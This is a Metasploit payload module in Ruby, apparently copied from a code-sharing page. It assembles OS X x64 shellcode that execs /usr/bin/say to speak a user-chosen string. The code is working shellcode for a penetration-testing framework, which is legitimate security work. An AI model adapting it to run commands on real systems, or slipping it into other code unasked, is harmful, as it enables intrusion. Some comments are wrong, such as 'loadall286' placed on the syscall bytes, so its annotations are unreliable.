Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7

8
  CachedSize = 53
9

10
  include Msf::Payload::Single
11

12
  def initialize(info = {})
13
    super(merge_info(info,
14
      'Name'          => 'OS X x64 say Shellcode',
15
      'Description'   => 'Say an arbitrary string outloud using Mac OS X text2speech',
16
      'Author'        => 'nemo <nemo[at]felinemenace.org>',
17
      'License'       => MSF_LICENSE,
18
      'Platform'      => 'osx',
19
      'Arch'          => ARCH_X64
20
    ))
21

22
    # exec payload options
23
    register_options(
24
      [
25
        OptString.new('TEXT',  [ true,  "The text to say", "Hello\!"]),
26
    ])
27
  end
28

29
  # build the shellcode payload dynamically based on the user-provided CMD
30
  def generate(_opts = {})
31
    say = (datastore['TEXT'] || '') << "\x00"
32
    call = "\xe8" + [say.length + 0xd].pack('V')
33

34
    payload =
35
      "\x48\x31\xC0" +                    # xor rax,rax
36
      "\xB8\x3B\x00\x00\x02" +            # mov eax,0x200003b
37
      call +
38
      "/usr/bin/say\x00" +
39
      say +
40
      "\x48\x8B\x3C\x24" +                # mov rdi,[rsp]
41
      "\x4C\x8D\x57\x0D" +                # lea r10,[rdi+0xd]
42
      "\x48\x31\xD2" +                    # xor rdx,rdx
43
      "\x52" +                            # push rdx
44
      "\x41\x52" +                        # push r10
45
      "\x57" +                            # push rdi
46
      "\x48\x89\xE6" +                    # mov rsi,rsp
47
      "\x0F\x05"                          # loadall286
48
  end
49
end
50

51